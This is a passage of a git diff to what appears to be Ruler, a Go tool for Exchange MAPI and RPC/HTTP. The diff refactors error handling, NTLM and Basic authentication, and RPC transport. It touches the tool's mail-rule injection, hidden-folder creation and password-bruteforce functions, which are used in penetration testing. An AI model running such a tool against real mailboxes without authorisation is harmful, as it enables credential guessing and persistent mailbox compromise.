RopOpenMessageResponse{} - p, err := openMessage.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if err != nil { - return nil, err + if p, e = openMessage.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } bufPtr += p props := RopGetPropertiesSpecificResponse{} - _, err = props.Unmarshal(execResponse.RopBuffer[bufPtr:], columns) - if err != nil { - return nil, err + if _, e = props.Unmarshal(execResponse.RopBuffer[bufPtr:], columns); e != nil { + return nil, e } return &props, nil } - return nil, fmt.Errorf("[x] An Unspecified error occurred") + return nil, ErrUnknown } //GetMessageFast returns the specific fields from a message using the fast transfer buffers. This works better for large messages @@ -1110,7 +1181,7 @@ func GetMessageFast(folderid, messageid []byte, columns []PropertyTag) (*RopFast responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, &TransportError{err} } execResponse := ExecuteResponse{} execResponse.Unmarshal(responseBody) @@ -1118,33 +1189,32 @@ func GetMessageFast(folderid, messageid []byte, columns []PropertyTag) (*RopFast if execResponse.StatusCode == 0 { bufPtr := 10 + var p int + var e error if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { bufPtr += 4 } openMessage := RopOpenMessageResponse{} - p, err := openMessage.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if err != nil { - return nil, err + if p, e = openMessage.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } bufPtr += p props := RopFastTransferSourceCopyPropertiesResponse{} - p, err = props.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if err != nil { - return nil, err + if p, e = props.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } + bufPtr += p //fmt.Printf("%x\n", execResponse.RopBuffer[bufPtr:]) pprops := RopFastTransferSourceGetBufferResponse{} - p, err = pprops.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if err != nil { - return nil, err + if p, e = pprops.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } - //fmt.Println("TransferStatus: ", pprops.TransferStatus) //0x0000 -- error 0x0001 -- partial - //fmt.Println("TotalStepCount: ", pprops.TotalStepCount) - //fmt.Println("InProgressCount: ", pprops.InProgressCount) + + utils.Trace.Printf("Doing Chunked Transfer. Chunks [%d]", pprops.TotalStepCount) //Rop release if we are done.. otherwise get rest of stream if pprops.TransferStatus == 0x0001 { @@ -1159,7 +1229,7 @@ func GetMessageFast(folderid, messageid []byte, columns []PropertyTag) (*RopFast return &pprops, nil } - return nil, fmt.Errorf("[x] An Unspecified error occurred") + return nil, ErrUnknown } //FastTransferFetchStep fetches the next part of a fast TransferBuffer @@ -1180,7 +1250,7 @@ func FastTransferFetchStep(handles []byte) ([]byte, error) { responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, &TransportError{err} } execResponse := ExecuteResponse{} execResponse.Unmarshal(responseBody) @@ -1197,9 +1267,8 @@ func FastTransferFetchStep(handles []byte) ([]byte, error) { if err != nil { return nil, err } - fmt.Println("TransferStatus: ", pprops.TransferStatus) //0x0000 -- error 0x0001 -- partial - fmt.Println("TotalStepCount: ", pprops.TotalStepCount) - fmt.Println("InProgressCount: ", pprops.InProgressCount) + + utils.Trace.Printf("Large transfer in progress. Status: %d ", pprops.TransferStatus) //Rop release if we are done.. otherwise get rest of stream //fmt.Printf("%x\n", pprops.TransferBuffer) @@ -1216,7 +1285,7 @@ func FastTransferFetchStep(handles []byte) ([]byte, error) { return pprops.TransferBuffer, nil } - return nil, fmt.Errorf("[x] An Unspecified error occurred") + return nil, ErrUnknown } //GetContentsTable function get's a folder from the folders id @@ -1246,7 +1315,7 @@ func GetContentsTable(folderid []byte) (*RopGetContentsTableResponse, []byte, er responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return nil, nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, nil, &TransportError{err} } execResponse := ExecuteResponse{} @@ -1254,24 +1323,24 @@ func GetContentsTable(folderid []byte) (*RopGetContentsTableResponse, []byte, er if execResponse.StatusCode == 0 { bufPtr := 10 + var p int + var e error openFolder := RopOpenFolderResponse{} - p, er := openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if er != nil { - return nil, nil, err + if p, e = openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, nil, e } bufPtr += p ropContents := RopGetContentsTableResponse{} - p, er = ropContents.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if er != nil { - return nil, nil, err + if p, e = ropContents.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, nil, e } bufPtr += p + 8 return &ropContents, execResponse.RopBuffer[bufPtr:], nil } - return nil, nil, fmt.Errorf("[x] An Unspecified error occurred") + return nil, nil, ErrUnknown } //GetFolderHierarchy function get's a folder from the folders id @@ -1300,24 +1369,25 @@ func GetFolderHierarchy(folderid []byte) (*RopGetHierarchyTableResponse, []byte, responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return nil, nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, nil, &TransportError{err} } execResponse := ExecuteResponse{} execResponse.Unmarshal(responseBody) if execResponse.StatusCode == 0 { bufPtr := 10 + var p int + var e error + openFolder := RopOpenFolderResponse{} - p, err := openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if err != nil { - return nil, nil, err + if p, e = openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, nil, e } bufPtr += p hierarchyTableResponse := RopGetHierarchyTableResponse{} - p, err = hierarchyTableResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if err != nil { - return nil, nil, err + if p, e = hierarchyTableResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, nil, e } bufPtr += p + 8 //the serverhandle is the 3rd set of 4 bytes - we need this handle to access the hierarchy table @@ -1325,7 +1395,7 @@ func GetFolderHierarchy(folderid []byte) (*RopGetHierarchyTableResponse, []byte, return &hierarchyTableResponse, execResponse.RopBuffer[bufPtr:], nil } - return nil, nil, fmt.Errorf("[x] An Unspecified error occurred") + return nil, nil, ErrUnknown } //GetSubFolders returns all the subfolders available in a folder @@ -1346,7 +1416,7 @@ func GetSubFolders(folderid []byte) (*RopQueryRowsResponse, error) { setColumns.PropertyTags[1] = PidTagFolderID fullReq := setColumns.Marshal() - //fmt.Println(folderHeirarchy.RowCount) + queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandle: 0x01, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: uint16(folderHeirarchy.RowCount)} fullReq = append(fullReq, queryRows.Marshal()...) execRequest.RopBuffer.ROP.RopsList = fullReq @@ -1355,31 +1425,30 @@ func GetSubFolders(folderid []byte) (*RopQueryRowsResponse, error) { responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, &TransportError{err} } execResponse := ExecuteResponse{} execResponse.Unmarshal(responseBody) if execResponse.StatusCode == 0 { bufPtr := 10 - + var p int + var e error setColumnsResp := RopSetColumnsResponse{} - p, err := setColumnsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if err != nil { - return nil, err + if p, e = setColumnsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } bufPtr += p rows := RopQueryRowsResponse{} - _, err = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], setColumns.PropertyTags) - if err != nil { - return nil, err + if _, e = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], setColumns.PropertyTags); e != nil { + return nil, e } return &rows, nil } - return nil, fmt.Errorf("[x] An unexpected error occurred") + return nil, fmt.Errorf("An unexpected error occurred") } //CreateFolder function to create a folder on the exchange server @@ -1422,7 +1491,7 @@ func CreateFolder(folderName string, hidden bool) (*RopCreateFolderResponse, err responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, ErrTransport //&TransportError{err} } execResponse := ExecuteResponse{} execResponse.Unmarshal(responseBody) @@ -1430,23 +1499,20 @@ func CreateFolder(folderName string, hidden bool) (*RopCreateFolderResponse, err if execResponse.StatusCode == 0 { bufPtr := 10 createFolder := RopCreateFolderResponse{} - _, err = createFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if err != nil { - fmt.Println(err) - return nil, err + if _, e := createFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } if hidden == true { propResp := RopSetPropertiesResponse{} - _, er := propResp.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if er != nil { - return nil, er + if _, e := propResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } } return &createFolder, nil } - return nil, fmt.Errorf("[x] An Unspecified error occurred") + return nil, ErrUnknown } //GetContents returns the rows of a folder's content table @@ -1481,35 +1547,32 @@ func GetContents(folderid []byte) (*RopQueryRowsResponse, error) { responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, &TransportError{err} } + execResponse := ExecuteResponse{} execResponse.Unmarshal(responseBody) if execResponse.StatusCode == 0 { bufPtr := 10 - if execResponse.RopBuffer[2] == 0x05 { //compression - //decompress - //Decompress(execResponse.RopBuffer[6:]) - } + var p int + var e error setColumnsResp := RopSetColumnsResponse{} - p, err := setColumnsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if err != nil { - return nil, err + if p, e = setColumnsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } bufPtr += p rows := RopQueryRowsResponse{} - _, err = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], setColumns.PropertyTags) - if err != nil { - return nil, err + if _, e = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], setColumns.PropertyTags); e != nil { + return nil, e } return &rows, nil } - return nil, fmt.Errorf("[x] An Unspecified error occurred") + return nil, ErrUnknown } //DisplayRules function get's a folder from the folders id @@ -1540,18 +1603,18 @@ func DisplayRules() ([]Rule, error) { responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, &TransportError{err} } execResponse := ExecuteResponse{} execResponse.Unmarshal(responseBody) - rules, _ := DecodeRulesResponse(execResponse.RopBuffer, setColumns.PropertyTags) - if rules == nil { - return nil, fmt.Errorf("[x] Error retrieving rules") + rules, _, err := DecodeRulesResponse(execResponse.RopBuffer, setColumns.PropertyTags) + if rules == nil || err != nil { + return nil, err } return rules, nil - //return nil, fmt.Errorf("[x] An Unspecified error occurred") + //return nil, ErrUnknown } //ExecuteMailRuleAdd adds a new mailrules @@ -1592,24 +1655,25 @@ func ExecuteMailRuleAdd(rulename, triggerword, triggerlocation string, delete bo propertyValues[5] = TaggedPropertyValue{PidTagRuleProvider, utils.UniString("RuleOrganizer")} //PidTagRuleLevel propertyValues[6] = TaggedPropertyValue{PidTagRuleLevel, []byte{0x00, 0x00, 0x00, 0x00}} //PidTagRuleProviderData propertyValues[7] = TaggedPropertyValue{PidTagRuleProviderData, []byte{0x10, 0x00, 0x00, 0x00, 0x14, 0x00, 0x01, 0x00, 0x00, 0x00, 0x28, 0x7d, 0xd2, 0x27, 0x14, 0xc4, 0xe4, 0x40}} + //propertyValues[8] = TaggedPropertyValue{PidTagRuleUserFlags, []byte{0x0, 0x0, 0x0, 0xf}} //PidTagRuleSequence addRule.RuleData.PropertyValues = propertyValues addRule.RuleData.PropertyValueCount = uint16(len(propertyValues)) - ruleBytes := utils.BodyToBytes(addRule) + ruleBytes := utils.BodyToBytes(addRule) execRequest.RopBuffer.ROP.RopsList = ruleBytes execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x01, 0x00, 0x00, AuthSession.LogonID} //append(AuthSession.RulesHandle, []byte{0xFF, 0xFF, 0xFF, 0xFF}...) responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, &TransportError{err} } execResponse := ExecuteResponse{} execResponse.Unmarshal(responseBody) return &execResponse, nil - //return nil, fmt.Errorf("[x] An Unspecified error occurred") + //return nil, ErrUnknown } //ExecuteMailRuleDelete function to delete mailrules @@ -1631,15 +1695,15 @@ func ExecuteMailRuleDelete(ruleid []byte) error { responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return fmt.Errorf("[x] A HTTP server side error occurred while deleting the rule.\n %s", err) + return &TransportError{err} } execResponse := ExecuteResponse{} execResponse.Unmarshal(responseBody) - if execResponse.StatusCode == 0 { + if execResponse.StatusCode != 255 { return nil } - return fmt.Errorf("[x] A server side error occurred while deleting the rule. Check ruleid") + return ErrUnknown } @@ -1679,7 +1743,7 @@ func DecodeGetTableResponse(resp []byte, columns []PropertyTag) (*RopGetProperti } //DecodeRulesResponse func -func DecodeRulesResponse(resp []byte, properties []PropertyTag) ([]Rule, []byte) { +func DecodeRulesResponse(resp []byte, properties []PropertyTag) ([]Rule, []byte, error) { pos, tpos := 10, 0 var err error @@ -1689,23 +1753,20 @@ func DecodeRulesResponse(resp []byte, properties []PropertyTag) ([]Rule, []byte) pos += tpos if err != nil { - fmt.Println(err) - return nil, nil + return nil, nil, err } columns := RopSetColumnsResponse{} tpos, err = columns.Unmarshal(resp[pos:]) pos += tpos if err != nil { - fmt.Println("Bad SetColumns") - return nil, nil + return nil, nil, err } rows := RopQueryRowsResponse{} tpos, err = rows.Unmarshal(resp[pos:], properties) if err != nil { - fmt.Println("Bad QueryRows") - return nil, nil + return nil, nil, err } pos += tpos @@ -1719,7 +1780,7 @@ func DecodeRulesResponse(resp []byte, properties []PropertyTag) ([]Rule, []byte) } ruleshandle := resp[pos+4:] - return rules, ruleshandle + return rules, ruleshandle, nil } //DecodeBufferToRows returns the property rows contained in the buffer, takes a list diff --git a/rpc-http/packets.go b/rpc-http/packets.go index b11d7c7..192e3f8 100644 --- a/rpc-http/packets.go +++ b/rpc-http/packets.go @@ -349,6 +349,16 @@ func SecureBind(authLevel, authType uint8, session *ntlm.ClientSession) BindPDU ctx.TransferSyntax = []byte{0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00} bind.CtxItems = ctx.Marshal() + + /* + ctx = CTX{} + ctx.ContextID = 1 + ctx.TransItems = 1 + //ctx.AbstractSyntax = []byte{0x00, 0xdb, 0xf1, 0xa4, 0x47, 0xca, 0x67, 0x10, 0xb3, 0x1f, 0x00, 0xdd, 0x01, 0x06, 0x62, 0xda, 0x00, 0x00, 0x51, 0x00} //CookieGen() + ctx.AbstractSyntax = []byte{0x18, 0x5a, 0xcc, 0xf5, 0x64, 0x42, 0x1a, 0x10, 0x8c, 0x59, 0x08, 0x00, 0x2b, 0x2f, 0x84, 0x26, 0x38, 0x00, 0x00, 0x00} //CookieGen() + ctx.TransferSyntax = []byte{0x2c, 0x1c, 0xb7, 0x6c, 0x12, 0x98, 0x40, 0x45, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00} + */ + //bind.CtxItems = append(bind.CtxItems, ctx.Marshal()...) //unknown PDU data here bind.Header.FragLen = uint16(len(bind.Marshal())) diff --git a/rpc-http/rpctransport.go b/rpc-http/rpctransport.go index 6fc0303..1845f18 100644 --- a/rpc-http/rpctransport.go +++ b/rpc-http/rpctransport.go @@ -9,6 +9,7 @@ import ( "net" "net/url" "strings" + "time" "github.com/sensepost/ruler/utils" "github.com/staaldraad/go-ntlm/ntlm" @@ -26,7 +27,7 @@ var rpcntlmsession ntlm.ClientSession //AuthSession Keep track of session data var AuthSession *utils.Session -func setupHTTPNTLM(rpctype string, URL string) (net.Conn, error) { +func setupHTTP(rpctype string, URL string, ntlmAuth bool, full bool) (net.Conn, error) { u, err := url.Parse(URL) var connection net.Conn if u.Scheme == "http" { @@ -39,8 +40,14 @@ func setupHTTPNTLM(rpctype string, URL string) (net.Conn, error) { if err != nil { return nil, err } + var request string + + if full == true { + request = fmt.Sprintf("%s %s HTTP/1.1\r\nHost: %s\r\n", rpctype, u.String(), u.Host) + } else { + request = fmt.Sprintf("%s %s HTTP/1.1\r\nHost: %s\r\n", rpctype, u.RequestURI(), u.Host) + } - request := fmt.Sprintf("%s %s HTTP/1.1\r\nHost: %s\r\n", rpctype, u.String(), u.Host) request = fmt.Sprintf("%sUser-Agent: MSRPC\r\n", request) request = fmt.Sprintf("%sCache-Control: no-cache\r\n", request) request = fmt.Sprintf("%sAccept: application/rpc\r\n", request) @@ -54,69 +61,94 @@ func setupHTTPNTLM(rpctype string, URL string) (net.Conn, error) { if cookiestr != "" { request = fmt.Sprintf("%sCookie: %s\r\n", request, cookiestr) } - //we should probably extract the NTLM type from the server response and use appropriate - session, err := ntlm.CreateClientSession(ntlm.Version2, ntlm.ConnectionlessMode) - b, _ := session.GenerateNegotiateMessage() - if err != nil { - return nil, err - } + var authenticate *ntlm.AuthenticateMessage + + if ntlmAuth == true { + //we should probably extract the NTLM type from the server response and use appropriate + session, err := ntlm.CreateClientSession(ntlm.Version2, ntlm.ConnectionlessMode) + b, _ := session.GenerateNegotiateMessage() + + if err != nil { + return nil, err + } + + //add NTML Authorization header + requestInit := fmt.Sprintf("%sAuthorization: NTLM %s\r\n", request, utils.EncBase64(b.Bytes())) + requestInit = fmt.Sprintf("%sContent-Length: 0\r\n\r\n", requestInit) - //add NTML Authorization header - requestInit := fmt.Sprintf("%sAuthorization: NTLM %s\r\n", request, utils.EncBase64(b.Bytes())) - requestInit = fmt.Sprintf("%sContent-Length: 0\r\n\r\n", requestInit) - - //send connect - connection.Write([]byte(requestInit)) - //read response - data := make([]byte, 2048) - connection.Read(data) - - parts := strings.Split(string(data), "\r\n") - ntlmChallengeHeader := "" - for _, v := range parts { - if n := strings.Split(v, ": "); len(n) > 0 { - if n[0] == "WWW-Authenticate" { - ntlmChallengeHeader = n[1] - break + //send connect + connection.Write([]byte(requestInit)) + //read response + data := make([]byte, 2048) + _, err = connection.Read(data) + if err != nil { + if full == false { + return nil, fmt.Errorf("Failed with initial setup for %s : %s\n", rpctype, err) } + fmt.Printf("Failed with initial setup for %s trying again...\n", rpctype) + return setupHTTP(rpctype, URL, ntlmAuth, false) } - } - ntlmChallengeString := strings.Replace(ntlmChallengeHeader, "NTLM ", "", 1) - challengeBytes, err := utils.DecBase64(ntlmChallengeString) - if err != nil { - return nil, err - } + parts := strings.Split(string(data), "\r\n") + ntlmChallengeHeader := "" + for _, v := range parts { + if n := strings.Split(v, ": "); len(n) > 0 { + if n[0] == "WWW-Authenticate" { + ntlmChallengeHeader = n[1] + break + } + } + } - session.SetUserInfo(AuthSession.User, AuthSession.Pass, AuthSession.Domain) - if len(AuthSession.NTHash) > 0 { - session.SetNTHash(AuthSession.NTHash) - } + ntlmChallengeString := strings.Replace(ntlmChallengeHeader, "NTLM ", "", 1) + challengeBytes, err := utils.DecBase64(ntlmChallengeString) + if err != nil { + if full == false { + return nil, fmt.Errorf("Failed with initial setup for %s : %s\n", rpctype, err) + } + utils.Fail.Printf("Failed with initial setup for %s trying again...\n", rpctype) + return setupHTTP(rpctype, URL, ntlmAuth, false) + } - // parse NTLM challenge - challenge, err := ntlm.ParseChallengeMessage(challengeBytes) - if err != nil { - //panic(err) - return nil, err - } - err = session.ProcessChallengeMessage(challenge) - if err != nil { - //panic(err) - return nil, err - } - // authenticate user - authenticate, err := session.GenerateAuthenticateMessage() - if err != nil { - //panic(err) - return nil, err + session.SetUserInfo(AuthSession.User, AuthSession.Pass, AuthSession.Domain) + if len(AuthSession.NTHash) > 0 { + session.SetNTHash(AuthSession.NTHash) + } + + // parse NTLM challenge + challenge, err := ntlm.ParseChallengeMessage(challengeBytes) + if err != nil { + //panic(err) + return nil, err + } + err = session.ProcessChallengeMessage(challenge) + if err != nil { + //panic(err) + return nil, err + } + // authenticate user + authenticate, err = session.GenerateAuthenticateMessage() + + if err != nil { + //panic(err) + return nil, err + } } + if rpctype == "RPC_IN_DATA" { request = fmt.Sprintf("%sContent-Length: 1073741824\r\n", request) } else if rpctype == "RPC_OUT_DATA" { request = fmt.Sprintf("%sContent-Length: 76\r\n", request) } - request = fmt.Sprintf("%sAuthorization: NTLM %s\r\n\r\n", request, utils.EncBase64(authenticate.Bytes())) + + if ntlmAuth == true { + request = fmt.Sprintf("%sAuthorization: NTLM %s\r\n\r\n", request, utils.EncBase64(authenticate.Bytes())) + } else { + request = fmt.Sprintf("%sAuthorization: Basic %s\r\n\r\n", request, utils.EncBase64([]byte(fmt.Sprintf("%s\\%s:%s", AuthSession.Domain, AuthSession.User, AuthSession.Pass)))) + } + + if cookiestr != "" { request = fmt.Sprintf("%sCookie: %s\r\n", request, cookiestr) } @@ -131,7 +163,7 @@ func RPCOpen(URL string, readySignal chan bool, errOccurred chan error) (err err //can't find a way to keep the write channel open (other than going over to http/2, which isn't valid here) //so this is some damn messy code, but screw it - rpcInConn, err = setupHTTPNTLM("RPC_IN_DATA", URL) + rpcInConn, err = setupHTTP("RPC_IN_DATA", URL, AuthSession.RPCEncrypt, true) if err != nil { readySignal <- false @@ -161,13 +193,15 @@ func RPCOpen(URL string, readySignal chan bool, errOccurred chan error) (err err //starts our listening "loop" which scans for new responses and pushes //these to our list of recieved responses func RPCOpenOut(URL string, readySignal chan bool, errOccurred chan error) (err error) { - rpcOutConn, err = setupHTTPNTLM("RPC_OUT_DATA", URL) + + rpcOutConn, err = setupHTTP("RPC_OUT_DATA", URL, AuthSession.RPCEncrypt, true) if err != nil { readySignal <- false errOccurred <- err return err } readySignal <- true + scanner := bufio.NewScanner(rpcOutConn) scanner.Split(SplitData) @@ -216,6 +250,7 @@ func RPCBind() error { //parse out and setup security if AuthSession.RPCNetworkAuthLevel == RPC_C_AUTHN_LEVEL_PKT_PRIVACY { resp, err := RPCRead(1) + if err != nil { return err } @@ -232,21 +267,19 @@ func RPCBind() error { challenge, err := ntlm.ParseChallengeMessage(challengeBytes) if err != nil { - fmt.Println("we panic here") - panic(err) + return fmt.Errorf("Bad Challenge Message %s", err) } err = rpcntlmsession.ProcessChallengeMessage(challenge) if err != nil { - fmt.Println("we panic here with challenge") - panic(err) + + return fmt.Errorf("Bad Process Challenge %s", err) } // authenticate user authenticate, err := rpcntlmsession.GenerateAuthenticateMessageAV() if err != nil { - fmt.Println("we panic here with authen") - return err + return fmt.Errorf("Bad authenticate message %s", err) } //send auth setup complete bind @@ -274,6 +307,9 @@ func EcDoRPCExt2(MAPI []byte, auxLen uint32) ([]byte, error) { //decrypt response PDU if AuthSession.RPCNetworkAuthLevel == RPC_C_AUTHN_LEVEL_PKT_PRIVACY { + if len(resp.PDU) < 20 { + return nil, fmt.Errorf("Invalid response received. Please try again") + } dec, _ := rpcntlmsession.UnSeal(resp.PDU[8:]) sec := RTSSec{} sec.Unmarshal(resp.SecTrailer, int(resp.Header.AuthLen)) @@ -281,13 +317,6 @@ func EcDoRPCExt2(MAPI []byte, auxLen uint32) ([]byte, error) { } return resp.PDU[28:], err } -func obfuscate(data []byte) []byte { - bnew := make([]byte, len(data)) - for k := range data { - bnew[k] = data[k] ^ 0xA5 - } - return bnew -} //DoConnectExRequest makes our connection request. After this we can use //EcDoRPCExt2 to make our MAPI requests @@ -298,7 +327,9 @@ func DoConnectExRequest(MAPI []byte, auxLen uint32) ([]byte, error) { RPCWriteN(MAPI, auxLen, 0x0a) resp, err := RPCRead(callcounter - 1) - + if err == nil && len(resp.PDU) < 20 { + resp, err = RPCRead(callcounter - 1) + } if err != nil { return nil, err } @@ -312,7 +343,7 @@ func DoConnectExRequest(MAPI []byte, auxLen uint32) ([]byte, error) { } if utils.DecodeUint32(AuthSession.ContextHandle[0:4]) == 0x0000 { - return nil, fmt.Errorf("\n[x] Unable to obtain a session context\n[*] Try again using the --encrypt flag. It is possible that the target requires 'Encrypt traffic between Outlook and Exchange' to be enabled") + return nil, fmt.Errorf("\nUnable to obtain a session context\nTry again using the --encrypt flag. It is possible that the target requires 'Encrypt traffic between Outlook and Exchange' to be enabled") } return resp.Body, err @@ -417,9 +448,6 @@ func RPCWriteN(MAPI []byte, auxlen uint32, opnum byte) { //RPCWrite function writes to our RPC_IN_DATA channel func RPCWrite(data []byte) { - - if AuthSession.RPCNetworkAuthLevel == RPC_C_AUTHN_LEVEL_PKT_PRIVACY { - } callcounter++ rpcInW.Write(data) } @@ -433,15 +461,26 @@ func RPCOutWrite(data []byte) { //RPCRead function takes a call ID and searches for the response in //our list of received responses. Blocks until it finds a response func RPCRead(callID int) (RPCResponse, error) { - for { - for k, v := range responses { - if v.Header.CallID == uint32(callID) { - responses = append(responses[:k], responses[k+1:]...) - return v, nil - // resp <- v - // return + c := make(chan RPCResponse, 1) + go func() { + stop := false + for stop != true { + for k, v := range responses { + if v.Header.CallID == uint32(callID) { + responses = append(responses[:k], responses[k+1:]...) + stop = true + c <- v + break + } } } + }() + + select { + case resp := <-c: + return resp, nil + case <-time.After(time.Second * 10): // call timed out + return RPCResponse{}, fmt.Errorf("Time-out reading from RPC") } } @@ -451,6 +490,7 @@ func SplitData(data []byte, atEOF bool) (advance int, token []byte, err error) { if atEOF && len(data) == 0 { return 0, nil, nil } + //check if HTTP response if string(data[0:4]) == "HTTP" { for k := range data { @@ -460,12 +500,22 @@ func SplitData(data []byte, atEOF bool) (advance int, token []byte, err error) { } } - //proud of this bit, not 100% sure why it works but it works a charm if data[0] != 0x0d { //check if we've hit the start of a new sequence start := -1 end := -1 var dbuf []byte - + if data[0] == 0x05 { //we have an RPC packet start, rather than a fragmented packet + if len(data) < 10 { //get packet length, if possible + return 0, nil, nil //don't have enough packet start again + } else { + p, _ := utils.ReadUint16(8, data) + end = int(p) + } + if len(data) != end { + return 0, nil, nil + } + return end, data[:end], nil + } for k := range data { if data[k] == 0x0d && data[k+1] == 0x0a { if start == -1 { diff --git a/ruler.go b/ruler.go index 4e5744b..093183b 100644 --- a/ruler.go +++ b/ruler.go @@ -1,8 +1,10 @@ package main import ( + "bufio" "encoding/hex" "fmt" + "io/ioutil" "net/http" "net/http/cookiejar" "net/url" @@ -10,6 +12,7 @@ import ( "strings" "time" + "github.com/howeyc/gopass" "github.com/sensepost/ruler/autodiscover" "github.com/sensepost/ruler/mapi" "github.com/sensepost/ruler/utils" @@ -20,92 +23,19 @@ import ( var config utils.Session func exit(err error) { - //we had an error and we don't have a MAPI session + //we had an error if err != nil { - fmt.Println(err) - os.Exit(-1) + utils.Error.Println(err) } + //let's disconnect from the MAPI session exitcode, err := mapi.Disconnect() if err != nil { - fmt.Println(err) + utils.Error.Println(err) } os.Exit(exitcode) } -func getMapiHTTP(autoURLPtr string) *utils.AutodiscoverResp { - var resp *utils.AutodiscoverResp - var err error - fmt.Println("[*] Retrieving MAPI/HTTP info") - if autoURLPtr == "" { - //rather use the email address's domain here and --domain is the authentication domain - lastBin := strings.LastIndex(config.Email, "@") - if lastBin == -1 { - exit(fmt.Errorf("[x] The supplied email address seems to be incorrect.\n%s", err)) - } - maildomain := config.Email[lastBin+1:] - resp, err = autodiscover.MAPIDiscover(maildomain) - } else { - resp, err = autodiscover.MAPIDiscover(autoURLPtr) - } - - if resp == nil || err != nil { - exit(fmt.Errorf("[x] The autodiscover service request did not complete.\n%s", err)) - } - //check if the autodiscover service responded with an error - if resp.Response.Error != (utils.AutoError{}) { - exit(fmt.Errorf("[x] The autodiscover service responded with an error.\n%s", resp.Response.Error.Message)) - } - return resp -} - -func getRPCHTTP(autoURLPtr string) *utils.AutodiscoverResp { - var resp *utils.AutodiscoverResp - var err error - fmt.Println("[*] Retrieving RPC/HTTP info") - if autoURLPtr == "" { - //rather use the email address's domain here and --domain is the authentication domain - lastBin := strings.LastIndex(config.Email, "@") - if lastBin == -1 { - exit(fmt.Errorf("[x] The supplied email address seems to be incorrect.\n%s", err)) - } - maildomain := config.Email[lastBin+1:] - resp, err = autodiscover.Autodiscover(maildomain) - } else { - resp, err = autodiscover.Autodiscover(autoURLPtr) - } - - if resp == nil || err != nil { - exit(fmt.Errorf("[x] The autodiscover service request did not complete.\n%s", err)) - } - //check if the autodiscover service responded with an error - if resp.Response.Error != (utils.AutoError{}) { - exit(fmt.Errorf("[x] The autodiscover service responded with an error.\n%s", resp.Response.Error.Message)) - } - - url := "" - user := "" - for _, v := range resp.Response.Account.Protocol { - if v.Type == "EXPR" { - if v.SSL == "Off" { - url = "http://" + v.Server - } else { - url = "https://" + v.Server - } - if v.AuthPackage == "Ntlm" { //set the encryption on if the server specifies NTLM auth - config.RPCEncrypt = true - } - } - if v.Type == "EXCH" { - user = v.Server - } - } - config.RPCURL = fmt.Sprintf("%s/rpc/rpcproxy.dll?%s:6001", url, user) - config.RPCMailbox = user - fmt.Printf("[+] RPC URL set: %s\n", config.RPCURL) - return resp -} - //function to perform a bruteforce func brute(c *cli.Context) error { if c.String("users") == "" && c.String("userpass") == "" { @@ -119,7 +49,7 @@ func brute(c *cli.Context) error { return fmt.Errorf("Either --domain or --url required") } - fmt.Println("[*] Starting bruteforce") + utils.Info.Println("Starting bruteforce") userpass := c.String("userpass") if userpass == "" { @@ -140,28 +70,30 @@ func brute(c *cli.Context) error { //Function to add new rule func addRule(c *cli.Context) error { + utils.Info.Println("Adding Rule") - fmt.Println("[*] Adding Rule") - //delete message on delivery res, err := 